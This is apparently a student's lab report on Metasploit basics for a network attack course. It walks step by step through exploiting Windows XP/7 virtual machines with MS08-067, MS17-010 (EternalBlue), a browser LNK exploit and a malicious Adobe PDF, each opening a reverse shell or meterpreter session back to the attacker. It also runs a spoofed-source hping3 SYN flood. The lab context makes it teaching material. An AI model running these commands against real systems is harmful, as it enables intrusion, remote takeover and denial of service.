2019-2020-2 网络对抗技术 20175306王佳烁 Exp6 MSF基础应用

2019-2020-2 网络对抗技术 20175306王佳烁 Exp6 MSF基础应用


一、原理与实践说明

实践原理

1、MSF主要模块:指Metasploit框架中所使用的一段软件代码组件

  • 查看六种模块源码目录/usr/share/metasploit-framework/modules
  • 渗透攻击模块(Exploit Modules)
    • 攻击漏洞,把shellcode"背"过去
    • 针对每一个漏洞,写一段攻击代码
  • 辅助模块(Auxiliary Modules)
    • 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
  • 攻击载荷(Payload Modules)
    • 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  • 空字段模块(Payload Modules)
  • 编码模块(Payload Modules)
  • 后渗透攻击模块(Payload Modules)
    2、用户操作界面
  • msfconsole
    • 开发部署成本低、兼容性高、方便自动化
    • 指令需要记
  • armitage
    • 点选模块 不用记忆
    • 使用不灵活
  • webgui
    • 跨平台 高效 功能强大
      3、MSF常用漏洞指令
  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name:使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

二、实验内容

任务一:主动攻击实践

如ms08_067

ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
  • 实现:ms08_067
  • 攻击机:Kali 192.168.1.34
  • 靶机:Windows xp sp3 192.168.1.35
  • payload : generic/shell_reverse_tcp
  • 测试靶机与攻击机之间能否ping通

  • 攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.35

    • 查看到靶机的版本号

    • 查看到靶机存在此漏洞

  • msfconsole打开控制台

  • search ms08-067查看漏洞位置

  • use exploit/windows/smb/ms08_067_netapi选择该漏洞

  • set payload generic/shell_reverse_tcp设置攻击的载荷

  • set RHOST 192.168.1.35设置靶机IP

  • set LHOST 192.168.1.34设置攻击机IP

  • exploit进行攻击

  • 验证连接结果,例如ipconfig /all命令

ms17-010

  • 实现:ms17-010

  • 攻击机:kali 192.168.1.34

  • 靶机:Windows xp sp3 192.168.1.35

  • payload:generic/shell_reverse_tcp

  • 攻击机使用nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.1.35探测靶机是否存在该漏洞

  • msfconsole打开控制台

  • search ms17-010 查看漏洞的渗透模块

  • use exploit/windows/smb/ms17_010_eternalblue 进入该模块

  • show payloads显示有效的攻击载荷

  • set payload generic/shell_reverse_tcp设置攻击的载荷

  • set RHOST 192.168.1.35设置靶机IP

  • set LHOST 192.168.1.34设置攻击机IP

  • exploit 进行攻击

  • 这里可以看到靶机重启了!

任务二:一个针对浏览器的攻击

  • 实现:ms10-018

  • 攻击机:kali 192.168.1.34

  • 靶机:Windows xp sp3 192.168.1.35

  • payload:windows/meterpreter/reverse_tcp

  • 首先查看浏览器漏洞: cd /usr/share/metasploit-framework/modules/exploits/windows/browser

  • 输入ls即可看到很多漏洞代码,选择 ms10_046_shortcut_icon_dllloader.rb

  • 进入控制台:msfconsole ,使用: use windows/browser/ms10_046_shortcut_icon_dllloader

  • 查看一下这个漏洞的作用: info

  • 此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。

        show payloads      //显示可用攻击载荷
	set payload windows/meterpreter/reverse_tcp   //选择攻击载荷
	set LHOST 192.168.1.35     //设置监听地址
	exploit     //进行攻击
  • 在靶机用浏览器打开生成的链接:http://192.168.1.34:80/

任务三:一个针对客户端的攻击

  • 实现:Adobe

  • 攻击机:kali 192.168.1.34

  • 靶机:Windows 7 sp3 192.168.1.29

  • msfconsole进入控制台,使用:search adobe查找Adobe漏洞

  • 使用:use windows/fileformat/adobe_cooltype_sing使用漏洞

  • payload:windows/meterpreter/reverse_tcp

  • 设置相关参数

        set LHOST 192.168.1.34  //攻击者地址
	set FILENAME 5306wjs.pdf   //设置生成pdf文件的文件名
	exploit   //攻击

  • 将生成的文件复制之后导入靶机中:cp /root/.msf4/local/20175306wjs.pdf 5306wjs.pdf

  • 回到原控制台
    back退出当前模块
    use exploit/multi/handler 进入监听模块
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.34 设置kali IP
    set LPORT 5306 设置攻击端口
    exploit 开始监听

  • 在靶机中使用双击打开5306wjs.pdf,攻击成功

任务四:成功应用任何一个辅助模块

  • 攻击机:kali 192.168.1.34

  • 靶机:Windows xp sp3 192.168.1.35

  • 使用:msfconsole进入控制台

  • show auxiliary命令显示所有的辅助模块以及他们的用途

  • 一眼相中TCP SYN FLOODER
    SYN Flood攻击原理

  • SYN:同步序列编号(Synchronize Sequence Numbers),是TCP/IP建立连接时使用的握手信号。

  • SYN Flood利用TCP协议缺陷,通过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。

  • 攻击原理:通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,在进行第三次握手时,服务器等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,才将此条目从未连接队列删除。这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求不能进去以及被丢弃,目标系统运行缓慢,引起网络拥堵。

  • Winxp下按Ctrl+Alt+Ins启动任务管理器,查看性能,监控CPU的利用率,开启Wireshark抓包

  • Kali中输入hping3 -q -n -a 5.3.0.6 -S -s 5306 --keep -p 445 --flood 192.168.1.24
    其中5.3.0.6为伪造源IP,5306为伪造源端口,445为目的端口,192.168.1.24为目的IP

  • 查看Winxp的任务管理器和wireshark抓包结果
    如图,Winxp的性能利用率已经达到100%并居高不下。Wireshark抓到的包显示大量源地址为5.3.0.6,在给靶机win7发送请求连接,进行SYN Flood攻击。综上表明已经攻击成功。

  • Kali中按Ctrl+C结束攻击
  • 查看Winxp的任务管理器,性能利用率恢复正常。

三、基础问题回答

  • 用自己的话解释什么是exploit,payload,encode.
    • exploit:测试者利用系统、程序或服务的漏洞进行攻击的一个过程。
    • payload:攻击者在目标系统上执行的一段攻击代码,该代码具有反弹连接、创建用户、执行其他系统命令的功能。
    • encode:一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。

四、实验感想

本次实验总体来说操作比较简单,难点是靶机的选择,一开始选择用本来就有的xp虚拟机,发现不太行。。。没办法又下载了一个靶机虚拟机。安装完成后还是比较顺利的就完成了。通过完成实验就可以发现metasploit攻击漏洞的专一性,对靶机的要求比较高,否则不会轻易成功。

posted @ 2020-04-28 18:20  20175306王佳烁  阅读(165)  评论(0编辑  收藏  举报